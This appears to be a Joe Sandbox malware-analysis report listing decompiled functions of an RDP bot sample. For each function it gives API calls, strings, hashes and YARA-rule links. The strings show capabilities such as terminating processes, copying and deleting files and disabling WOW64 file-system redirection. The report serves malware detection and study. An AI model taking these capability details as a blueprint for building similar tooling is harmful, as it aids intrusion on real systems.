Opcode ID: a959144ebdbb34fc87530ded86d3f35840680b6be22af1ffe380b90cd5227081
Instruction ID: b8ab79dd3870d10852cc31e37a7aacb2e0eb2e0d36a8327d609084b576bbc3dd
Opcode Fuzzy Hash: a959144ebdbb34fc87530ded86d3f35840680b6be22af1ffe380b90cd5227081
Instruction Fuzzy Hash: 8C11D656A8970342FAE87752A4903769F90EF00745FC41137CD0EAA2F5DF3DE8559223

Function 00007FF7E3CE2463 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E3CE2487
strcmp.MSVCRT ref: 00007FF7E3CE24CA
OpenProcess.KERNEL32 ref: 00007FF7E3CE24E2
TerminateProcess.KERNEL32 ref: 00007FF7E3CE24FC
GetLastError.KERNEL32 ref: 00007FF7E3CE250A
Process32Next.KERNEL32 ref: 00007FF7E3CE26F5
GetLastError.KERNEL32 ref: 00007FF7E3CE2704
CloseHandle.KERNEL32 ref: 00007FF7E3CE2895

Strings

process_kill, xrefs: 00007FF7E3CE2515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF7E3CE251C
, xrefs: 00007FF7E3CE253C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 2496d2f5fa8d00559008dfae579644d76cd319a1d0937b540e789750984efad3
Instruction ID: 230f79df6c09a114afd71758a0339e795635d3454a13a33fa15beb857d58ca2b
Opcode Fuzzy Hash: 2496d2f5fa8d00559008dfae579644d76cd319a1d0937b540e789750984efad3
Instruction Fuzzy Hash: 3311D656A8970342FAE87752A4903769F90EF00745FC41137CD0EAA2F4DF3DE8559223

Function 00007FF7E3CE255D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E3CE2487
strcmp.MSVCRT ref: 00007FF7E3CE24CA
OpenProcess.KERNEL32 ref: 00007FF7E3CE24E2
TerminateProcess.KERNEL32 ref: 00007FF7E3CE24FC
GetLastError.KERNEL32 ref: 00007FF7E3CE250A
Process32Next.KERNEL32 ref: 00007FF7E3CE26F5
GetLastError.KERNEL32 ref: 00007FF7E3CE2704
CloseHandle.KERNEL32 ref: 00007FF7E3CE2895

Strings

process_kill, xrefs: 00007FF7E3CE2515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF7E3CE251C
, xrefs: 00007FF7E3CE253C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 84487d85988c67a68760dd499a58440e7c90953792b81ae61c4816666b24c856
Instruction ID: b380a20a2da7947742fad8c07d7ee376efd7037dfcc983c20a630a008aac9822
Opcode Fuzzy Hash: 84487d85988c67a68760dd499a58440e7c90953792b81ae61c4816666b24c856
Instruction Fuzzy Hash: 5511E416A8870342FAE87752A4903369F90EF00741FC40137CD4EAA2F4DF3DE8449223

Function 00007FF7E3CE5189 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF7E3CE5227
GetLastError.KERNEL32 ref: 00007FF7E3CE5242

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

Strings

[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF7E3CE51FD
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF7E3CE53AE
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF7E3CE5260
fs_file_copy, xrefs: 00007FF7E3CE51F6, 00007FF7E3CE5259, 00007FF7E3CE53A7
NULL, xrefs: 00007FF7E3CE5385, 00007FF7E3CE5391

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: 66f0d41b67bf7db472c2c6d003715f51e780ae4141bf3cabbed7ce59c5551692
Instruction ID: da6689e725fe9c9fbd52c97be58fa34b698feb96a3ecf346ad031c17b2fb04cc
Opcode Fuzzy Hash: 66f0d41b67bf7db472c2c6d003715f51e780ae4141bf3cabbed7ce59c5551692
Instruction Fuzzy Hash: 64413155D8D61681F6E46617A8003B9DEA07F00BD8ED44233C90FA66F4EEBDF641A723

Function 00007FF7E3CE4BBD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32 ref: 00007FF7E3CE4BD4
GetLastError.KERNEL32 ref: 00007FF7E3CE4C2B

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4C14
fs_file_delete, xrefs: 00007FF7E3CE4C0D, 00007FF7E3CE4C39, 00007FF7E3CE4D69
[I] (%s) -> Done(path=%s), xrefs: 00007FF7E3CE4D70
[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE4C40
NULL, xrefs: 00007FF7E3CE4D5A

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: NULL$[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[I] (%s) -> Done(path=%s)$fs_file_delete
API String ID: 2018770650-4119452840
Opcode ID: 402f7a1f0eb8c196b54f707917abb0ee0b10649b0644a9a96accee421510c626
Instruction ID: 5089e44d84d0c2829170c8bfe102849cefd88ef90a6e2f20085dd10974a6e8d2
Opcode Fuzzy Hash: 402f7a1f0eb8c196b54f707917abb0ee0b10649b0644a9a96accee421510c626
Instruction Fuzzy Hash: 98311E55E8CA0B92F6E07746E450778AA914F81745ED60233C91EBB2F1ED3CE985A333

Function 00007FF7E3CE749C Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 157stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CE74D6
strlen.MSVCRT ref: 00007FF7E3CE74E1

Strings

((match == NULL) || (match_len != NULL)), xrefs: 00007FF7E3CE757E
C:/Projects/rdp/bot/codebase/utils.c, xrefs: 00007FF7E3CE7505, 00007FF7E3CE753E, 00007FF7E3CE7577
str_match, xrefs: 00007FF7E3CE7513, 00007FF7E3CE754C, 00007FF7E3CE7585
(pattern != NULL), xrefs: 00007FF7E3CE7545
(needle != NULL), xrefs: 00007FF7E3CE750C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE751A, 00007FF7E3CE7553, 00007FF7E3CE758C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen
String ID: ((match == NULL) || (match_len != NULL))$(needle != NULL)$(pattern != NULL)$C:/Projects/rdp/bot/codebase/utils.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$str_match
API String ID: 39653677-892027187
Opcode ID: b879f136bf3e73caf27cf456f8a81fbe1e6f740427478c846f9f963f1a0f41ab
Instruction ID: 9d105d4e32a15d8e5500c7678d2508dcc53e0644ad2f458c48668340ba2648ab
Opcode Fuzzy Hash: b879f136bf3e73caf27cf456f8a81fbe1e6f740427478c846f9f963f1a0f41ab
Instruction Fuzzy Hash: 9751E7B1A4915381FEA5BB57A9107B5AE907F00788FD44233D90DA72F0DE3EE591A322

Function 00007FF7E3CE6C99 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CE6D12
strlen.MSVCRT ref: 00007FF7E3CE6D2E
strcat.MSVCRT ref: 00007FF7E3CE6D3D
strlen.MSVCRT ref: 00007FF7E3CE6D48

Strings

(file_path != NULL), xrefs: 00007FF7E3CE6CEE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE6CFC
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE6CE7
fs_module_file, xrefs: 00007FF7E3CE6CF5

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen$strcat
String ID: (file_path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_module_file
API String ID: 2335785903-2423714266
Opcode ID: 5f7ae23b154488ead1e5c0282a80bf8b4d26c10dc2c32ebd1ce7abcaca5ce085
Instruction ID: 510d08e9d32be8707bae8d6816a1c9ea6bebe24133c712ced9f6d31c207bbc98
Opcode Fuzzy Hash: 5f7ae23b154488ead1e5c0282a80bf8b4d26c10dc2c32ebd1ce7abcaca5ce085
Instruction Fuzzy Hash: F011B161A8866344FA91BF1698203B5AE815F01B88FCD5132DE4D6B3E2EE3CD4259362

Function 00007FF7E3CECACD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF7E3CECB20
fwprintf.MSVCRT ref: 00007FF7E3CECB34
strlen.MSVCRT ref: 00007FF7E3CECB9A

Strings

%-*.*S, xrefs: 00007FF7E3CECB19
%.*S, xrefs: 00007FF7E3CECB2D
%*.*S, xrefs: 00007FF7E3CECB10

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fwprintf$strlen
String ID: %*.*S$%-*.*S$%.*S
API String ID: 2636243462-2115465065
Opcode ID: 32549ed93d4336b5084efa2f50b5c29187e804bb01ab93832d870b3eedf07b11
Instruction ID: c8ca68b2cdd47825e588860ec1c401d13a47dea0ee43a2d1d1506dd1dce3cabc
Opcode Fuzzy Hash: 32549ed93d4336b5084efa2f50b5c29187e804bb01ab93832d870b3eedf07b11
Instruction Fuzzy Hash: 3731E572E8825245E7D0AA269800779EA90EB44BA4F84C233DD1DE77E5DE3CF4009722

Function 00007FF7E3CE385C Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E3CE1CF4: LoadLibraryA.KERNEL32 ref: 00007FF7E3CE1D02

GetLastError.KERNEL32 ref: 00007FF7E3CE38D8

Part of subcall function 00007FF7E3CE1C73: GetProcAddress.KERNEL32 ref: 00007FF7E3CE1C93

Strings

kernel32, xrefs: 00007FF7E3CE3869
[I] (%s) -> %s, xrefs: 00007FF7E3CE38C2
[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu), xrefs: 00007FF7E3CE38E8
Done, xrefs: 00007FF7E3CE38B4
Wow64RevertWow64FsRedirection, xrefs: 00007FF7E3CE387D
fs_wow_redir_revert, xrefs: 00007FF7E3CE38BB, 00007FF7E3CE38E1

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProc
String ID: Done$Wow64RevertWow64FsRedirection$[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_revert$kernel32
API String ID: 3511525774-1584720945
Opcode ID: 433e6bd85099de35a889042718465d7b0be932ce001a7aa2f559248877877095
Instruction ID: 0c4329f581e03f6c4fafbfc67495ccf5af0b58af641e3a57ce460ca04e9b8431
Opcode Fuzzy Hash: 433e6bd85099de35a889042718465d7b0be932ce001a7aa2f559248877877095
Instruction Fuzzy Hash: 45110661E88603A0FBA1B716E8613B4AA906F10300FC45133C40DB62F1EE7DF566D723

Function 00007FF7E3CE37C0 Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E3CE1CF4: LoadLibraryA.KERNEL32 ref: 00007FF7E3CE1D02

Part of subcall function 00007FF7E3CE1C73: GetProcAddress.KERNEL32 ref: 00007FF7E3CE1C93

GetLastError.KERNEL32 ref: 00007FF7E3CE3820

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

Strings

kernel32, xrefs: 00007FF7E3CE37C4
[I] (%s) -> %s, xrefs: 00007FF7E3CE380A
Done, xrefs: 00007FF7E3CE37FC
Wow64DisableWow64FsRedirection, xrefs: 00007FF7E3CE37D8
[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu), xrefs: 00007FF7E3CE3830
fs_wow_redir_disable, xrefs: 00007FF7E3CE3803, 00007FF7E3CE3829

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProcfflushfwrite
String ID: Done$Wow64DisableWow64FsRedirection$[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_disable$kernel32
API String ID: 1533789296-1853374401
Opcode ID: ebc399a167c55a4d9f19342e6aa133451176a90b2ab856515d1ba48be036be90
Instruction ID: 90f0c92e4d733732a1597bce939cda7f08c2efa243bbf817a266918d2a69e814
Opcode Fuzzy Hash: ebc399a167c55a4d9f19342e6aa133451176a90b2ab856515d1ba48be036be90
Instruction Fuzzy Hash: 9501C961A88543A1FBA1BB15E8613B49A906F04304FC44137C40DA62F2DF3DF5669322

Function 00007FF7E3CE33C0 Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E3CE33D8
CloseHandle.KERNEL32 ref: 00007FF7E3CE33DE

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE3409
(pi != NULL), xrefs: 00007FF7E3CE33FB
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7E3CE33F4
process_free, xrefs: 00007FF7E3CE3402

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseHandle
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$process_free
API String ID: 2962429428-1801624891
Opcode ID: 885e7699a94be3e9ff932faea847962a8a2fa01f4412b8f56f742292b50f105f
Instruction ID: 5f0281988732821e18be8cfb3468e0291ff4a560b99a4148ae265b3c30c841bc
Opcode Fuzzy Hash: 885e7699a94be3e9ff932faea847962a8a2fa01f4412b8f56f742292b50f105f
Instruction Fuzzy Hash: DAF05E65A8884A81EA40FB12EC207B89B60BF40344FC40133DA0D672F09E3CE957C311

Function 00007FF7E3CE7E04 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32 ref: 00007FF7E3CE7E82
GetLastError.KERNEL32 ref: 00007FF7E3CE7E90

Strings

path_convert_to_nt, xrefs: 00007FF7E3CE7E9B
%S%S, xrefs: 00007FF7E3CE7F88
[E] (%s) -> QueryDosDeviceW failed(gle=%lu), xrefs: 00007FF7E3CE7EA2

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: DeviceErrorLastQuery
String ID: %S%S$[E] (%s) -> QueryDosDeviceW failed(gle=%lu)$path_convert_to_nt
API String ID: 963133057-3473575966
Opcode ID: 2e3eff2a2b5197cec1dcf2ae631c27a1d096b4f61c6a56b33ed9458329f13243
Instruction ID: 767a86b654f07bedbfbe3b509903ced1b70fec84ba05033d0bdd69a4ec004bee
Opcode Fuzzy Hash: 2e3eff2a2b5197cec1dcf2ae631c27a1d096b4f61c6a56b33ed9458329f13243
Instruction Fuzzy Hash: B541D232E8C55686FAB4761698503B8DA50AF40B54F950233DD5EB72E1DE3EECC0A363

Function 00007FF7E3CECCD9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF7E3CECD2A

Strings

%.*s, xrefs: 00007FF7E3CECD37
%*.*s, xrefs: 00007FF7E3CECD1A
%-*.*s, xrefs: 00007FF7E3CECD23
%S%S, xrefs: 00007FF7E3CECCDB

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fwprintf
String ID: %*.*s$%-*.*s$%.*s$%S%S
API String ID: 968622242-2451587232
Opcode ID: 468559d8ff67cbcfa5856c3651045b367068e2c3b874db09ef0e64f953addd24
Instruction ID: 43a408a90ece63e549199cb37a58f157f5a1e41022df1e8e0a25a3d075cc77b8
Opcode Fuzzy Hash: 468559d8ff67cbcfa5856c3651045b367068e2c3b874db09ef0e64f953addd24
Instruction Fuzzy Hash: D931C672A4865345E7E0AA679804778EE90EF44B94F84C233D90DDB6E4DD3DF5109722

Function 00007FF7E3CE193C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE1956
DeleteCriticalSection.KERNEL32 ref: 00007FF7E3CE1983

Strings

Done, xrefs: 00007FF7E3CE1994
[I] (%s) -> %s, xrefs: 00007FF7E3CE19A2
debug_cleanup, xrefs: 00007FF7E3CE199B

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CriticalDeleteSectionfclose
String ID: Done$[I] (%s) -> %s$debug_cleanup
API String ID: 3387974148-4247581856
Opcode ID: 275ec92ee00db215cc1bcca50748eec47cfb9bfded2309289b8973e2e256f0ab
Instruction ID: 4fa17e1452e2b363d08995019ce1a27cbf5ae45f70bdc9c18ab181778ac391d3
